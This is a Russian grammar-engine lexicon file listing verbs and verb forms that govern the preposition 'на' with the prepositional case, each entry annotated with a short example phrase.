rus_verbs:подсчитать{}, // подсчитать на бумажке
rus_verbs:разволноваться{}, // разволноваться на экзамене
rus_verbs:завертеться{}, // завертеться на полу
rus_verbs:ознакомиться{}, // ознакомиться на ходу
rus_verbs:ржать{}, // ржать на уроке
rus_verbs:раскинуть{}, // раскинуть на грядках
rus_verbs:разгромить{}, // разгромить на ринге
rus_verbs:подслушать{}, // подслушать на совещании
rus_verbs:описываться{}, // описываться на страницах книги
rus_verbs:качаться{}, // качаться на стуле
rus_verbs:усилить{}, // усилить на флангах
rus_verbs:набросать{}, // набросать на клочке картона
rus_verbs:расстреливать{}, // расстреливать на подходе
rus_verbs:запрыгать{}, // запрыгать на одной ноге
rus_verbs:сыскать{}, // сыскать на чужбине
rus_verbs:подтвердиться{}, // подтвердиться на практике
rus_verbs:плескаться{}, // плескаться на мелководье
rus_verbs:расширяться{}, // расширяться на конце
rus_verbs:подержать{}, // подержать на солнце
rus_verbs:планироваться{}, // планироваться на общем собрании
rus_verbs:сгинуть{}, // сгинуть на чужбине
rus_verbs:замкнуться{}, // замкнуться на точке
rus_verbs:закачаться{}, // закачаться на ветру
rus_verbs:перечитывать{}, // перечитывать на ходу
rus_verbs:перелететь{}, // перелететь на дельтаплане
rus_verbs:оживать{}, // оживать на солнце
rus_verbs:женить{}, // женить на богатой невесте
rus_verbs:заглохнуть{}, // заглохнуть на старте
rus_verbs:копаться{}, // копаться на полу
rus_verbs:развлекаться{}, // развлекаться на дискотеке
rus_verbs:печататься{}, // печататься на струйном принтере
rus_verbs:обрываться{}, // обрываться на полуслове
rus_verbs:ускакать{}, // ускакать на лошадке
rus_verbs:подписывать{}, // подписывать на столе
rus_verbs:добывать{}, // добывать на выработке
rus_verbs:скопиться{}, // скопиться на выходе
rus_verbs:повстречать{}, // повстречать на пути
rus_verbs:поцеловаться{}, // поцеловаться на площади
rus_verbs:растянуть{}, // растянуть на столе
rus_verbs:подаваться{}, // подаваться на благотворительном обеде
rus_verbs:повстречаться{}, // повстречаться на митинге
rus_verbs:примоститься{}, // примоститься на ступеньках
rus_verbs:отразить{}, // отразить на страницах доклада
rus_verbs:пояснять{}, // пояснять на страницах приложения
rus_verbs:накормить{}, // накормить на кухне
rus_verbs:поужинать{}, // поужинать на веранде
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть на митинге
деепричастие:спев{},
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить на мелководье
rus_verbs:освоить{}, // освоить на практике
rus_verbs:распластаться{}, // распластаться на травке
rus_verbs:отплыть{}, // отплыть на старом каяке
rus_verbs:улетать{}, // улетать на любом самолете
rus_verbs:отстаивать{}, // отстаивать на корте
rus_verbs:осуждать{}, // осуждать на словах
rus_verbs:переговорить{}, // переговорить на обеде
rus_verbs:укрыть{}, // укрыть на чердаке
rus_verbs:томиться{}, // томиться на привязи
rus_verbs:сжигать{}, // сжигать на полигоне
rus_verbs:позавтракать{}, // позавтракать на лоне природы
rus_verbs:функционировать{}, // функционирует на солнечной энергии
rus_verbs:разместить{}, // разместить на сайте
rus_verbs:пронести{}, // пронести на теле
rus_verbs:нашарить{}, // нашарить на столе
rus_verbs:корчиться{}, // корчиться на полу
rus_verbs:распознать{}, // распознать на снимке
rus_verbs:повеситься{}, // повеситься на шнуре
rus_verbs:обозначиться{}, // обозначиться на картах
rus_verbs:оступиться{}, // оступиться на скользком льду
rus_verbs:подносить{}, // подносить на блюдечке
rus_verbs:расстелить{}, // расстелить на газоне
rus_verbs:обсуждаться{}, // обсуждаться на собрании
rus_verbs:расписаться{}, // расписаться на бланке
rus_verbs:плестись{}, // плестись на привязи
rus_verbs:объявиться{}, // объявиться на сцене
rus_verbs:повышаться{}, // повышаться на первом датчике
rus_verbs:разрабатывать{}, // разрабатывать на заводе
rus_verbs:прерывать{}, // прерывать на середине
rus_verbs:каяться{}, // каяться на публике
rus_verbs:освоиться{}, // освоиться на лошади
rus_verbs:подплыть{}, // подплыть на плоту
rus_verbs:оскорбить{}, // оскорбить на митинге
rus_verbs:торжествовать{}, // торжествовать на пьедестале
rus_verbs:поправлять{}, // поправлять на одежде
rus_verbs:отражать{}, // отражать на картине
rus_verbs:дремать{}, // дремать на кушетке
rus_verbs:применяться{}, // применяться на производстве стали
rus_verbs:поражать{}, // поражать на большой дистанции
rus_verbs:расстрелять{}, // расстрелять на окраине хутора
rus_verbs:рассчитать{}, // рассчитать на калькуляторе
rus_verbs:записывать{}, // записывать на ленте
rus_verbs:перебирать{}, // перебирать на ладони
rus_verbs:разбиться{}, // разбиться на катере
rus_verbs:поискать{}, // поискать на ферме
rus_verbs:прятать{}, // прятать на заброшенном складе
rus_verbs:пропеть{}, // пропеть на эстраде
rus_verbs:замелькать{}, // замелькать на экране
rus_verbs:грустить{}, // грустить на веранде
rus_verbs:крутить{}, // крутить на оси
rus_verbs:подготовить{}, // подготовить на конспиративной квартире
rus_verbs:различать{}, // различать на картинке
rus_verbs:киснуть{}, // киснуть на чужбине
rus_verbs:оборваться{}, // оборваться на полуслове
rus_verbs:запутаться{}, // запутаться на простейшем тесте
rus_verbs:общаться{}, // общаться на уроке
rus_verbs:производиться{}, // производиться на фабрике
rus_verbs:сочинить{}, // сочинить на досуге
rus_verbs:давить{}, // давить на лице
rus_verbs:разработать{}, // разработать на секретном предприятии
rus_verbs:качать{}, // качать на качелях
rus_verbs:тушить{}, // тушить на крыше пожар
rus_verbs:охранять{}, // охранять на территории базы
rus_verbs:приметить{}, // приметить на взгорке
rus_verbs:скрыть{}, // скрыть на теле
rus_verbs:удерживать{}, // удерживать на руке
rus_verbs:усвоить{}, // усвоить на уроке
rus_verbs:растаять{}, // растаять на солнечной стороне
rus_verbs:красоваться{}, // красоваться на виду
rus_verbs:сохраняться{}, // сохраняться на холоде
rus_verbs:лечить{}, // лечить на дому
rus_verbs:прокатиться{}, // прокатиться на уницикле
rus_verbs:договариваться{}, // договариваться на нейтральной территории
rus_verbs:качнуться{}, // качнуться на одной ноге
rus_verbs:опубликовать{}, // опубликовать на сайте
rus_verbs:отражаться{}, // отражаться на поверхности воды
rus_verbs:обедать{}, // обедать на веранде
rus_verbs:посидеть{}, // посидеть на лавочке
rus_verbs:сообщаться{}, // сообщаться на официальном сайте
rus_verbs:свершиться{}, // свершиться на заседании
rus_verbs:ночевать{}, // ночевать на даче
rus_verbs:темнеть{}, // темнеть на свету
rus_verbs:гибнуть{}, // гибнуть на территории полигона
rus_verbs:усиливаться{}, // усиливаться на территории округа
rus_verbs:проживать{}, // проживать на даче
rus_verbs:исследовать{}, // исследовать на большой глубине
rus_verbs:обитать{}, // обитать на громадной глубине
rus_verbs:сталкиваться{}, // сталкиваться на большой высоте
rus_verbs:таиться{}, // таиться на большой глубине
rus_verbs:спасать{}, // спасать на пожаре
rus_verbs:сказываться{}, // сказываться на общем результате
rus_verbs:заблудиться{}, // заблудиться на стройке
rus_verbs:пошарить{}, // пошарить на полках
rus_verbs:планировать{}, // планировать на бумаге
rus_verbs:ранить{}, // ранить на полигоне
rus_verbs:хлопать{}, // хлопать на сцене
rus_verbs:основать{}, // основать на горе новый монастырь
rus_verbs:отбить{}, // отбить на столе
rus_verbs:отрицать{}, // отрицать на заседании комиссии
rus_verbs:устоять{}, // устоять на ногах
rus_verbs:отзываться{}, // отзываться на страницах отчёта
rus_verbs:притормозить{}, // притормозить на обочине
rus_verbs:читаться{}, // читаться на лице
rus_verbs:заиграть{}, // заиграть на саксофоне
rus_verbs:зависнуть{}, // зависнуть на игровой площадке
rus_verbs:сознаться{}, // сознаться на допросе
rus_verbs:выясняться{}, // выясняться на очной ставке
rus_verbs:наводить{}, // наводить на столе порядок
rus_verbs:покоиться{}, // покоиться на кладбище
rus_verbs:значиться{}, // значиться на бейджике
rus_verbs:съехать{}, // съехать на санках
rus_verbs:познакомить{}, // познакомить на свадьбе
rus_verbs:завязать{}, // завязать на спине
rus_verbs:грохнуть{}, // грохнуть на площади
rus_verbs:разъехаться{}, // разъехаться на узкой дороге
rus_verbs:столпиться{}, // столпиться на крыльце
rus_verbs:порыться{}, // порыться на полках
rus_verbs:ослабить{}, // ослабить на шее
rus_verbs:оправдывать{}, // оправдывать на суде
rus_verbs:обнаруживаться{}, // обнаруживаться на складе
rus_verbs:спастись{}, // спастись на дереве
rus_verbs:прерваться{}, // прерваться на полуслове
rus_verbs:строиться{}, // строиться на пустыре
rus_verbs:познать{}, // познать на практике
rus_verbs:путешествовать{}, // путешествовать на поезде
rus_verbs:побеждать{}, // побеждать на ринге
rus_verbs:рассматриваться{}, // рассматриваться на заседании
rus_verbs:продаваться{}, // продаваться на открытом рынке
rus_verbs:разместиться{}, // разместиться на базе
rus_verbs:завыть{}, // завыть на холме
rus_verbs:настигнуть{}, // настигнуть на окраине
rus_verbs:укрыться{}, // укрыться на чердаке
rus_verbs:расплакаться{}, // расплакаться на заседании комиссии
rus_verbs:заканчивать{}, // заканчивать на последнем задании
rus_verbs:пролежать{}, // пролежать на столе
rus_verbs:громоздиться{}, // громоздиться на полу
rus_verbs:замерзнуть{}, // замерзнуть на открытом воздухе
rus_verbs:поскользнуться{}, // поскользнуться на льду
rus_verbs:таскать{}, // таскать на спине
rus_verbs:просматривать{}, // просматривать на сайте
rus_verbs:обдумать{}, // обдумать на досуге
rus_verbs:гадать{}, // гадать на кофейной гуще
rus_verbs:останавливать{}, // останавливать на выходе
rus_verbs:обозначать{}, // обозначать на странице
rus_verbs:долететь{}, // долететь на спортивном байке
rus_verbs:тесниться{}, // тесниться на чердачке
rus_verbs:хоронить{}, // хоронить на частном кладбище
rus_verbs:установиться{}, // установиться на юге
rus_verbs:прикидывать{}, // прикидывать на клочке бумаги
rus_verbs:затаиться{}, // затаиться на дереве
rus_verbs:раздобыть{}, // раздобыть на складе
rus_verbs:перебросить{}, // перебросить на вертолетах
rus_verbs:захватывать{}, // захватывать на базе
rus_verbs:сказаться{}, // сказаться на итоговых оценках
rus_verbs:покачиваться{}, // покачиваться на волнах
rus_verbs:крутиться{}, // крутиться на кухне
rus_verbs:помещаться{}, // помещаться на полке
rus_verbs:питаться{}, // питаться на помойке
rus_verbs:отдохнуть{}, // отдохнуть на загородной вилле
rus_verbs:кататься{}, // кататься на велике
rus_verbs:поработать{}, // поработать на стройке
rus_verbs:ограбить{}, // ограбить на пустыре
rus_verbs:зарабатывать{}, // зарабатывать на бирже
rus_verbs:преуспеть{}, // преуспеть на ниве искусства
rus_verbs:заерзать{}, // заерзать на стуле
rus_verbs:разъяснить{}, // разъяснить на полях
rus_verbs:отчеканить{}, // отчеканить на медной пластине
rus_verbs:торговать{}, // торговать на рынке
rus_verbs:поколебаться{}, // поколебаться на пороге
rus_verbs:прикинуть{}, // прикинуть на бумажке
rus_verbs:рассечь{}, // рассечь на тупом конце
rus_verbs:посмеяться{}, // посмеяться на переменке
rus_verbs:остыть{}, // остыть на морозном воздухе
rus_verbs:запереться{}, // запереться на чердаке
rus_verbs:обогнать{}, // обогнать на повороте
rus_verbs:подтянуться{}, // подтянуться на турнике
rus_verbs:привозить{}, // привозить на машине
rus_verbs:подбирать{}, // подбирать на полу
rus_verbs:уничтожать{}, // уничтожать на подходе
rus_verbs:притаиться{}, // притаиться на вершине
rus_verbs:плясать{}, // плясать на костях
rus_verbs:поджидать{}, // поджидать на вокзале
rus_verbs:закончить{}, // Мы закончили игру на самом интересном месте (САМ не может быть первым прилагательным в цепочке!)
rus_verbs:смениться{}, // смениться на посту
rus_verbs:посчитать{}, // посчитать на пальцах
rus_verbs:прицелиться{}, // прицелиться на бегу
rus_verbs:нарисовать{}, // нарисовать на стене
rus_verbs:прыгать{}, // прыгать на сцене
rus_verbs:повертеть{}, // повертеть на пальце
rus_verbs:попрощаться{}, // попрощаться на панихиде
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на диване
rus_verbs:разобрать{}, // разобрать на столе
rus_verbs:помереть{}, // помереть на чужбине
rus_verbs:различить{}, // различить на нечеткой фотографии
rus_verbs:рисовать{}, // рисовать на доске
rus_verbs:проследить{}, // проследить на экране
rus_verbs:задремать{}, // задремать на диване
rus_verbs:ругаться{}, // ругаться на людях
rus_verbs:сгореть{}, // сгореть на работе
rus_verbs:зазвучать{}, // зазвучать на коротких волнах
rus_verbs:задохнуться{}, // задохнуться на вершине горы
rus_verbs:порождать{}, // порождать на поверхности небольшую рябь
rus_verbs:отдыхать{}, // отдыхать на курорте
rus_verbs:образовать{}, // образовать на дне толстый слой
rus_verbs:поправиться{}, // поправиться на дармовых харчах
rus_verbs:отмечать{}, // отмечать на календаре
rus_verbs:реять{}, // реять на флагштоке
rus_verbs:ползти{}, // ползти на коленях
rus_verbs:продавать{}, // продавать на аукционе
rus_verbs:сосредоточиться{}, // сосредоточиться на основной задаче
rus_verbs:рыскать{}, // мышки рыскали на кухне
rus_verbs:расстегнуть{}, // расстегнуть на куртке все пуговицы
rus_verbs:напасть{}, // напасть на территории другого государства
rus_verbs:издать{}, // издать на западе
rus_verbs:оставаться{}, // оставаться на страже порядка
rus_verbs:появиться{}, // наконец появиться на экране
rus_verbs:лежать{}, // лежать на столе
rus_verbs:ждать{}, // ждать на берегу
инфинитив:писать{aux stress="пис^ать"}, // писать на бумаге
глагол:писать{aux stress="пис^ать"},
rus_verbs:оказываться{}, // оказываться на полу
rus_verbs:поставить{}, // поставить на столе
rus_verbs:держать{}, // держать на крючке
rus_verbs:выходить{}, // выходить на остановке
rus_verbs:заговорить{}, // заговорить на китайском языке
rus_verbs:ожидать{}, // ожидать на стоянке
rus_verbs:закричать{}, // закричал на минарете муэдзин
rus_verbs:простоять{}, // простоять на посту
rus_verbs:продолжить{}, // продолжить на первом этаже
rus_verbs:ощутить{}, // ощутить на себе влияние кризиса
rus_verbs:состоять{}, // состоять на учете
rus_verbs:готовиться{},
инфинитив:акклиматизироваться{вид:несоверш}, // альпинисты готовятся акклиматизироваться на новой высоте
глагол:акклиматизироваться{вид:несоверш},
rus_verbs:арестовать{}, // грабители были арестованы на месте преступления
rus_verbs:схватить{}, // грабители были схвачены на месте преступления
инфинитив:атаковать{ вид:соверш }, // взвод был атакован на границе
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{ вид:соверш },
прилагательное:атаковавший{ вид:соверш },
rus_verbs:базировать{}, // установка будет базирована на границе
rus_verbs:базироваться{}, // установка базируется на границе
rus_verbs:барахтаться{}, // дети барахтались на мелководье
rus_verbs:браконьерить{}, // Охотники браконьерили ночью на реке
rus_verbs:браконьерствовать{}, // Охотники ночью браконьерствовали на реке
rus_verbs:бренчать{}, // парень что-то бренчал на гитаре
rus_verbs:бренькать{}, // парень что-то бренькает на гитаре
rus_verbs:начать{}, // Рынок акций РФ начал торги на отрицательной территории.
rus_verbs:буксовать{}, // Колеса буксуют на льду
rus_verbs:вертеться{}, // Непоседливый ученик много вертится на стуле
rus_verbs:взвести{}, // Боец взвел на оружии предохранитель
rus_verbs:вилять{}, // Машина сильно виляла на дороге
rus_verbs:висеть{}, // Яблоко висит на ветке
rus_verbs:возлежать{}, // возлежать на лежанке
rus_verbs:подниматься{}, // Мы поднимаемся на лифте
rus_verbs:подняться{}, // Мы поднимемся на лифте
rus_verbs:восседать{}, // Коля восседает на лошади
rus_verbs:воссиять{}, // Луна воссияла на небе
rus_verbs:воцариться{}, // Мир воцарился на всей земле
rus_verbs:воцаряться{}, // Мир воцаряется на всей земле
rus_verbs:вращать{}, // вращать на поясе
rus_verbs:вращаться{}, // вращаться на поясе
rus_verbs:встретить{}, // встретить друга на улице
rus_verbs:встретиться{}, // встретиться на занятиях
rus_verbs:встречать{}, // встречать на занятиях
rus_verbs:въебывать{}, // въебывать на работе
rus_verbs:въезжать{}, // въезжать на автомобиле
rus_verbs:въехать{}, // въехать на автомобиле
rus_verbs:выгорать{}, // ткань выгорает на солнце
rus_verbs:выгореть{}, // ткань выгорела на солнце
rus_verbs:выгравировать{}, // выгравировать на табличке надпись
rus_verbs:выжить{}, // выжить на необитаемом острове
rus_verbs:вылежаться{}, // помидоры вылежались на солнце
rus_verbs:вылеживаться{}, // вылеживаться на солнце
rus_verbs:выместить{}, // выместить на ком-то злобу
rus_verbs:вымещать{}, // вымещать на ком-то свое раздражение
rus_verbs:вымещаться{}, // вымещаться на ком-то
rus_verbs:выращивать{}, // выращивать на грядке помидоры
rus_verbs:выращиваться{}, // выращиваться на грядке
инфинитив:вырезать{вид:соверш}, // вырезать на доске надпись
глагол:вырезать{вид:соверш},
инфинитив:вырезать{вид:несоверш},
глагол:вырезать{вид:несоверш},
rus_verbs:вырисоваться{}, // вырисоваться на графике
rus_verbs:вырисовываться{}, // вырисовываться на графике
rus_verbs:высаживать{}, // высаживать на необитаемом острове
rus_verbs:высаживаться{}, // высаживаться на острове
rus_verbs:высвечивать{}, // высвечивать на дисплее температуру
rus_verbs:высвечиваться{}, // высвечиваться на дисплее
rus_verbs:выстроить{}, // выстроить на фундаменте
rus_verbs:выстроиться{}, // выстроиться на плацу
rus_verbs:выстудить{}, // выстудить на морозе
rus_verbs:выстудиться{}, // выстудиться на морозе
rus_verbs:выстужать{}, // выстужать на морозе
rus_verbs:выстуживать{}, // выстуживать на морозе
rus_verbs:выстуживаться{}, // выстуживаться на морозе
rus_verbs:выстукать{}, // выстукать на клавиатуре
rus_verbs:выстукивать{}, // выстукивать на клавиатуре
rus_verbs:выстукиваться{}, // выстукиваться на клавиатуре
rus_verbs:выступать{}, // выступать на сцене
rus_verbs:выступить{}, // выступить на сцене
rus_verbs:выстучать{}, // выстучать на клавиатуре
rus_verbs:выстывать{}, // выстывать на морозе
rus_verbs:выстыть{}, // выстыть на морозе
rus_verbs:вытатуировать{}, // вытатуировать на руке якорь
rus_verbs:говорить{}, // говорить на повышенных тонах
rus_verbs:заметить{}, // заметить на берегу
rus_verbs:стоять{}, // твёрдо стоять на ногах
rus_verbs:оказаться{}, // оказаться на передовой линии
rus_verbs:почувствовать{}, // почувствовать на своей шкуре
rus_verbs:остановиться{}, // остановиться на первом пункте
rus_verbs:показаться{}, // показаться на горизонте
rus_verbs:чувствовать{}, // чувствовать на своей шкуре
rus_verbs:искать{}, // искать на открытом пространстве
rus_verbs:иметься{}, // иметься на складе
rus_verbs:клясться{}, // клясться на Коране
rus_verbs:прервать{}, // прервать на полуслове
rus_verbs:играть{}, // играть на чувствах
rus_verbs:спуститься{}, // спуститься на парашюте
rus_verbs:понадобиться{}, // понадобиться на экзамене
rus_verbs:служить{}, // служить на флоте
rus_verbs:подобрать{}, // подобрать на улице
rus_verbs:появляться{}, // появляться на сцене
rus_verbs:селить{}, // селить на чердаке
rus_verbs:поймать{}, // поймать на границе
rus_verbs:увидать{}, // увидать на опушке
rus_verbs:подождать{}, // подождать на перроне
rus_verbs:прочесть{}, // прочесть на полях
rus_verbs:тонуть{}, // тонуть на мелководье
rus_verbs:ощущать{}, // ощущать на коже
rus_verbs:отметить{}, // отметить на полях
rus_verbs:показывать{}, // показывать на графике
rus_verbs:разговаривать{}, // разговаривать на иностранном языке
rus_verbs:прочитать{}, // прочитать на сайте
rus_verbs:попробовать{}, // попробовать на практике
rus_verbs:замечать{}, // замечать на коже грязь
rus_verbs:нести{}, // нести на плечах
rus_verbs:носить{}, // носить на голове
rus_verbs:гореть{}, // гореть на работе
rus_verbs:застыть{}, // застыть на пороге
инфинитив:жениться{ вид:соверш }, // жениться на королеве
глагол:жениться{ вид:соверш },
прилагательное:женатый{},
прилагательное:женившийся{},
rus_verbs:спрятать{}, // спрятать на чердаке
rus_verbs:развернуться{}, // развернуться на плацу
rus_verbs:строить{}, // строить на песке
rus_verbs:устроить{}, // устроить на даче тестральный вечер
rus_verbs:настаивать{}, // настаивать на выполнении приказа
rus_verbs:находить{}, // находить на берегу
rus_verbs:мелькнуть{}, // мелькнуть на экране
rus_verbs:очутиться{}, // очутиться на опушке леса
инфинитив:использовать{вид:соверш}, // использовать на работе
глагол:использовать{вид:соверш},
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
прилагательное:использованный{},
прилагательное:использующий{},
прилагательное:использовавший{},
rus_verbs:лететь{}, // лететь на воздушном шаре
rus_verbs:смеяться{}, // смеяться на сцене
rus_verbs:ездить{}, // ездить на мопеде
rus_verbs:заснуть{}, // заснуть на диване
rus_verbs:застать{}, // застать на рабочем месте
rus_verbs:очнуться{}, // очнуться на больничной койке
rus_verbs:разглядеть{}, // разглядеть на фотографии
rus_verbs:обойти{}, // обойти на вираже
rus_verbs:удержаться{}, // удержаться на троне
rus_verbs:побывать{}, // побывать на другой планете
rus_verbs:заняться{}, // заняться на выходных делом
rus_verbs:вянуть{}, // вянуть на солнце
rus_verbs:постоять{}, // постоять на голове
rus_verbs:приобрести{}, // приобрести на распродаже
rus_verbs:попасться{}, // попасться на краже
rus_verbs:продолжаться{}, // продолжаться на земле
rus_verbs:открывать{}, // открывать на арене
rus_verbs:создавать{}, // создавать на сцене
rus_verbs:обсуждать{}, // обсуждать на кухне
rus_verbs:отыскать{}, // отыскать на полу
rus_verbs:уснуть{}, // уснуть на диване
rus_verbs:задержаться{}, // задержаться на работе
rus_verbs:курить{}, // курить на свежем воздухе
rus_verbs:приподняться{}, // приподняться на локтях
rus_verbs:установить{}, // установить на вершине
rus_verbs:запереть{}, // запереть на балконе
rus_verbs:синеть{}, // синеть на воздухе
rus_verbs:убивать{}, // убивать на нейтральной территории
rus_verbs:скрываться{}, // скрываться на даче
rus_verbs:родить{}, // родить на полу
rus_verbs:описать{}, // описать на страницах книги
rus_verbs:перехватить{}, // перехватить на подлете
rus_verbs:скрывать{}, // скрывать на даче
rus_verbs:сменить{}, // сменить на посту
rus_verbs:мелькать{}, // мелькать на экране
rus_verbs:присутствовать{}, // присутствовать на мероприятии
rus_verbs:украсть{}, // украсть на рынке
rus_verbs:победить{}, // победить на ринге
rus_verbs:упомянуть{}, // упомянуть на страницах романа
rus_verbs:плыть{}, // плыть на старой лодке
rus_verbs:повиснуть{}, // повиснуть на перекладине
rus_verbs:нащупать{}, // нащупать на дне
rus_verbs:затихнуть{}, // затихнуть на дне
rus_verbs:построить{}, // построить на участке
rus_verbs:поддерживать{}, // поддерживать на поверхности
rus_verbs:заработать{}, // заработать на бирже
rus_verbs:провалиться{}, // провалиться на экзамене
rus_verbs:сохранить{}, // сохранить на диске
rus_verbs:располагаться{}, // располагаться на софе
rus_verbs:поклясться{}, // поклясться на библии
rus_verbs:сражаться{}, // сражаться на арене
rus_verbs:спускаться{}, // спускаться на дельтаплане
rus_verbs:уничтожить{}, // уничтожить на подступах
rus_verbs:изучить{}, // изучить на практике
rus_verbs:рождаться{}, // рождаться на праздниках
rus_verbs:прилететь{}, // прилететь на самолете
rus_verbs:догнать{}, // догнать на перекрестке
rus_verbs:изобразить{}, // изобразить на бумаге
rus_verbs:проехать{}, // проехать на тракторе
rus_verbs:приготовить{}, // приготовить на масле
rus_verbs:споткнуться{}, // споткнуться на полу
rus_verbs:собирать{}, // собирать на берегу
rus_verbs:отсутствовать{}, // отсутствовать на тусовке
rus_verbs:приземлиться{}, // приземлиться на военном аэродроме
rus_verbs:сыграть{}, // сыграть на трубе
rus_verbs:прятаться{}, // прятаться на даче
rus_verbs:спрятаться{}, // спрятаться на чердаке
rus_verbs:провозгласить{}, // провозгласить на митинге
rus_verbs:изложить{}, // изложить на бумаге
rus_verbs:использоваться{}, // использоваться на практике
rus_verbs:замяться{}, // замяться на входе
rus_verbs:раздаваться{}, // Крик ягуара раздается на краю болота
rus_verbs:сверкнуть{}, // сверкнуть на солнце
rus_verbs:сверкать{}, // сверкать на свету
rus_verbs:задержать{}, // задержать на митинге
rus_verbs:осечься{}, // осечься на первом слове
rus_verbs:хранить{}, // хранить на банковском счету
rus_verbs:шутить{}, // шутить на уроке
rus_verbs:кружиться{}, // кружиться на балу
rus_verbs:чертить{}, // чертить на доске
rus_verbs:отразиться{}, // отразиться на оценках
rus_verbs:греть{}, // греть на солнце
rus_verbs:рассуждать{}, // рассуждать на страницах своей книги
rus_verbs:окружать{}, // окружать на острове
rus_verbs:сопровождать{}, // сопровождать на охоте
rus_verbs:заканчиваться{}, // заканчиваться на самом интересном месте
rus_verbs:содержаться{}, // содержаться на приусадебном участке
rus_verbs:поселиться{}, // поселиться на даче
rus_verbs:запеть{}, // запеть на сцене
инфинитив:провозить{ вид:несоверш }, // провозить на теле
глагол:провозить{ вид:несоверш },
прилагательное:провезенный{},
прилагательное:провозивший{вид:несоверш},
прилагательное:провозящий{вид:несоверш},
деепричастие:провозя{},
rus_verbs:мочить{}, // мочить на месте
rus_verbs:преследовать{}, // преследовать на территории другого штата
rus_verbs:пролететь{}, // пролетел на параплане
rus_verbs:драться{}, // драться на рапирах
rus_verbs:просидеть{}, // просидеть на занятиях
rus_verbs:убираться{}, // убираться на балконе
rus_verbs:таять{}, // таять на солнце
rus_verbs:проверять{}, // проверять на полиграфе
rus_verbs:убеждать{}, // убеждать на примере
rus_verbs:скользить{}, // скользить на льду
rus_verbs:приобретать{}, // приобретать на распродаже
rus_verbs:летать{}, // летать на метле
rus_verbs:толпиться{}, // толпиться на перроне
rus_verbs:плавать{}, // плавать на надувном матрасе
rus_verbs:описывать{}, // описывать на страницах повести
rus_verbs:пробыть{}, // пробыть на солнце слишком долго
rus_verbs:застрять{}, // застрять на верхнем этаже
rus_verbs:метаться{}, // метаться на полу
rus_verbs:сжечь{}, // сжечь на костре
rus_verbs:расслабиться{}, // расслабиться на кушетке
rus_verbs:услыхать{}, // услыхать на рынке
rus_verbs:удержать{}, // удержать на прежнем уровне
rus_verbs:образоваться{}, // образоваться на дне
rus_verbs:рассмотреть{}, // рассмотреть на поверхности чипа
rus_verbs:уезжать{}, // уезжать на попутке
rus_verbs:похоронить{}, // похоронить на закрытом кладбище
rus_verbs:настоять{}, // настоять на пересмотре оценок
rus_verbs:растянуться{}, // растянуться на горячем песке
rus_verbs:покрутить{}, // покрутить на шесте
rus_verbs:обнаружиться{}, // обнаружиться на болоте
rus_verbs:гулять{}, // гулять на свадьбе
rus_verbs:утонуть{}, // утонуть на курорте
rus_verbs:храниться{}, // храниться на депозите
rus_verbs:танцевать{}, // танцевать на свадьбе
rus_verbs:трудиться{}, // трудиться на заводе
инфинитив:засыпать{переходность:непереходный вид:несоверш}, // засыпать на кровати
глагол:засыпать{переходность:непереходный вид:несоверш},
деепричастие:засыпая{переходность:непереходный вид:несоверш},
прилагательное:засыпавший{переходность:непереходный вид:несоверш},
прилагательное:засыпающий{ вид:несоверш переходность:непереходный }, // ребенок, засыпающий на руках
rus_verbs:сушить{}, // сушить на открытом воздухе
rus_verbs:зашевелиться{}, // зашевелиться на чердаке
rus_verbs:обдумывать{}, // обдумывать на досуге
rus_verbs:докладывать{}, // докладывать на научной конференции
rus_verbs:промелькнуть{}, // промелькнуть на экране
// прилагательное:находящийся{ вид:несоверш }, // колонна, находящаяся на ничейной территории
прилагательное:написанный{}, // слово, написанное на заборе
rus_verbs:умещаться{}, // компьютер, умещающийся на ладони
rus_verbs:открыть{}, // книга, открытая на последней странице
rus_verbs:спать{}, // йог, спящий на гвоздях
rus_verbs:пробуксовывать{}, // колесо, пробуксовывающее на обледенелом асфальте
rus_verbs:забуксовать{}, // колесо, забуксовавшее на обледенелом асфальте
rus_verbs:отобразиться{}, // удивление, отобразившееся на лице
rus_verbs:увидеть{}, // на полу я увидел чьи-то следы
rus_verbs:видеть{}, // на полу я вижу чьи-то следы
rus_verbs:оставить{}, // Мел оставил на доске белый след.
rus_verbs:оставлять{}, // Мел оставляет на доске белый след.
rus_verbs:встречаться{}, // встречаться на лекциях
rus_verbs:познакомиться{}, // познакомиться на занятиях
rus_verbs:устроиться{}, // она устроилась на кровати
rus_verbs:ложиться{}, // ложись на полу
rus_verbs:останавливаться{}, // останавливаться на достигнутом
rus_verbs:спотыкаться{}, // спотыкаться на ровном месте
rus_verbs:распечатать{}, // распечатать на бумаге
rus_verbs:распечатывать{}, // распечатывать на бумаге
rus_verbs:просмотреть{}, // просмотреть на бумаге
rus_verbs:закрепляться{}, // закрепляться на плацдарме
rus_verbs:погреться{}, // погреться на солнышке
rus_verbs:мешать{}, // Он мешал краски на палитре.
rus_verbs:занять{}, // Он занял первое место на соревнованиях.
rus_verbs:заговариваться{}, // Он заговаривался иногда на уроках.
деепричастие:женившись{ вид:соверш },
rus_verbs:везти{}, // Он везёт песок на тачке.
прилагательное:казненный{}, // Он был казнён на электрическом стуле.
rus_verbs:прожить{}, // Он безвыездно прожил всё лето на даче.
rus_verbs:принести{}, // Официантка принесла нам обед на подносе.
rus_verbs:переписать{}, // Перепишите эту рукопись на машинке.
rus_verbs:идти{}, // Поезд идёт на малой скорости.
rus_verbs:петь{}, // птички поют на рассвете
rus_verbs:смотреть{}, // Смотри на обороте.
rus_verbs:прибрать{}, // прибрать на столе
rus_verbs:прибраться{}, // прибраться на столе
rus_verbs:растить{}, // растить капусту на огороде
rus_verbs:тащить{}, // тащить ребенка на руках
rus_verbs:убирать{}, // убирать на столе
rus_verbs:простыть{}, // Я простыл на морозе.
rus_verbs:сиять{}, // ясные звезды мирно сияли на безоблачном весеннем небе.
rus_verbs:проводиться{}, // такие эксперименты не проводятся на воде
rus_verbs:достать{}, // Я не могу достать до яблок на верхних ветках.
rus_verbs:расплыться{}, // Чернила расплылись на плохой бумаге.
rus_verbs:вскочить{}, // У него вскочил прыщ на носу.
rus_verbs:свить{}, // У нас на балконе воробей свил гнездо.
rus_verbs:оторваться{}, // У меня на пальто оторвалась пуговица.
rus_verbs:восходить{}, // Солнце восходит на востоке.
rus_verbs:блестеть{}, // Снег блестит на солнце.
rus_verbs:побить{}, // Рысак побил всех лошадей на скачках.
